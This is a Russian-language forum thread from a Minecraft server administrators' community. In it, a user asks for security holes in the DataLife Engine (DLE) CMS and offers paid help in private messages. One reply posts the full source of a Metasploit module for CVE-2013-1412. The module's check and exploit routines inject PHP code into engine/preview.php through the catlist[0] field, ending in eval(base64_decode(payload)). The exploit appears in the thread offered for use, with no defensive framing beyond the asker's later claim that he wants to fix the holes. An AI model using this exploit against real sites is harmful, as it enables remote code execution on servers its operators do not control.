1. Вы находитесь в сообществе Rubukkit. Мы - администраторы серверов Minecraft, разрабатываем собственные плагины и переводим на различные языки плагины наших коллег из других стран.
    Скрыть объявление
Скрыть объявление
В преддверии глобального обновления, мы проводим исследования, которые помогут нам сделать опыт пользования форумом ещё удобнее. Помогите нам, примите участие!

Помогите найти дырки в DLE

Тема в разделе "Оффтопик", создана пользователем Iurii_Kharkov, 2 июн 2013.

  1. Автор темы
    Iurii_Kharkov

    Iurii_Kharkov Старожил Пользователь

    Баллы:
    103
    Skype:
    Zeneldedad
    Имя в Minecraft:
    Zeneldedad
    Если вы знаете какие либо дырки в CMS DLE напишите их сюда.
     
  2. Автор темы
    Iurii_Kharkov

    Iurii_Kharkov Старожил Пользователь

    Баллы:
    103
    Skype:
    Zeneldedad
    Имя в Minecraft:
    Zeneldedad
  3. Chilly

    Chilly Старожил Пользователь

    Баллы:
    123
    Имя в Minecraft:
    Chilly
    Харьков любит мультиакки.
     
  4. Автор темы
    Iurii_Kharkov

    Iurii_Kharkov Старожил Пользователь

    Баллы:
    103
    Skype:
    Zeneldedad
    Имя в Minecraft:
    Zeneldedad
    дык банят и банят!
    в dle дырки то есть?
     
  5. HaberMan

    HaberMan Активный участник

    Баллы:
    68
    Имя в Minecraft:
    HaberMan
    Дырка в ЖОПЕ :oops: а правильно лазейки!:rolleyes:
     
  6. Deviash

    Deviash Активный участник Пользователь

    Баллы:
    78
    preview.php PHP Code Injection
    Код:
    require 'msf/core'
     
    class Metasploit3 < Msf::Exploit::Remote
      Rank = ExcellentRanking
     
      include Msf::Exploit::Remote::HttpClient
     
      def initialize(info = {})
        super(update_info(info,
          'Name'          => 'DataLife Engine preview.php PHP Code Injection',
          'Description'    => %q{
              This module exploits a PHP code injection vulnerability DataLife Engine 9.7.
            The vulnerability exists in preview.php, due to an insecure usage of preg_replace()
            with the e modifier, which allows to inject arbitrary php code, when the template
            in use contains a [catlist] or [not-catlist] tag.
          },
          'Author'        =>
            [
              'EgiX', # Vulnerability discovery
              'juan vazquez' # Metasploit module
            ],
          'License'        => MSF_LICENSE,
          'References'    =>
            [
              [ 'CVE', '2013-1412' ],
              [ 'BID', '57603' ],
              [ 'EDB', '24438' ],
              [ 'URL', 'http://karmainsecurity.com/KIS-2013-01' ],
              [ 'URL', 'http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html' ]
            ],
          'Privileged'    => false,
          'Platform'      => ['php'],
          'Arch'          => ARCH_PHP,
          'Payload'        =>
            {
              'Keys'  => ['php']
            },
          'DisclosureDate' => 'Jan 28 2013',
          'Targets'        => [ ['DataLife Engine 9.7', { }], ],
          'DefaultTarget'  => 0
          ))
     
        register_options(
          [
            OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
          ], self.class)
      end
     
      def base
        base = normalize_uri(target_uri.path)
        base << '/' if base[-1, 1] != '/'
        return base
      end
     
      def check
        fingerprint = rand_text_alpha(4+rand(4))
        res = send_request_cgi(
          {
            'uri'      =>  "#{base}engine/preview.php",
            'method'    => 'POST',
            'vars_post' =>
              {
                'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//"
              }
          })
     
        if res and res.code == 200 and res.body =~ /#{fingerprint}/
          return Exploit::CheckCode::Vulnerable
        else
          return Exploit::CheckCode::Safe
        end
      end
     
      def exploit
        @peer = "#{rhost}:#{rport}"
     
        print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code")
        res = send_request_cgi(
          {
            'uri'      =>  "#{base}engine/preview.php",
            'method'    => 'POST',
            'vars_post' =>
              {
                'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||eval(base64_decod  e(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//"
              }
          })
      end
    end
     
    HoShiMin нравится это.
  7. HaberMan

    HaberMan Активный участник

    Баллы:
    68
    Имя в Minecraft:
    HaberMan
    Я же шучу :3
     
    ВремяПриключений и Mik1313 нравится это.
  8. Автор темы
    Iurii_Kharkov

    Iurii_Kharkov Старожил Пользователь

    Баллы:
    103
    Skype:
    Zeneldedad
    Имя в Minecraft:
    Zeneldedad
    И что через это можно сделать?
     
    RVXman нравится это.
  9. Автор темы
    Iurii_Kharkov

    Iurii_Kharkov Старожил Пользователь

    Баллы:
    103
    Skype:
    Zeneldedad
    Имя в Minecraft:
    Zeneldedad
    У меня dle 9.8
     
  10. Imnotf

    Imnotf Активный участник

    Баллы:
    78
    DLE сам по себе, одна, огромная дырка.
     
    zuma2 нравится это.
  11. Автор темы
    Iurii_Kharkov

    Iurii_Kharkov Старожил Пользователь

    Баллы:
    103
    Skype:
    Zeneldedad
    Имя в Minecraft:
    Zeneldedad
    Кто знает все дырки пишите в ЛС. платная помощь так сказать
     
  12. Deviash

    Deviash Активный участник Пользователь

    Баллы:
    78
    Найди. И примени. Честно - дам пирожок и денег. Если найдёшь - именно ты.
     
    Mik1313 нравится это.
  13. Imnotf

    Imnotf Активный участник

    Баллы:
    78
    Мотивация слабовата... А пирожок с капустой?
     
  14. Автор темы
    Iurii_Kharkov

    Iurii_Kharkov Старожил Пользователь

    Баллы:
    103
    Skype:
    Zeneldedad
    Имя в Minecraft:
    Zeneldedad
    чтобы их пофиксить
     
  15. AntonK1986

    AntonK1986 Ньюби

    Баллы:
    0
  16. AtomicScience

    AtomicScience Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    AtomicScience
    ЕЕЕЕЕ некропост
     
  17. Типа админ:D

    Типа админ:D Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    Qamulex
  18. Rikas

    Rikas Активный участник Пользователь

    Баллы:
    76

Поделиться этой страницей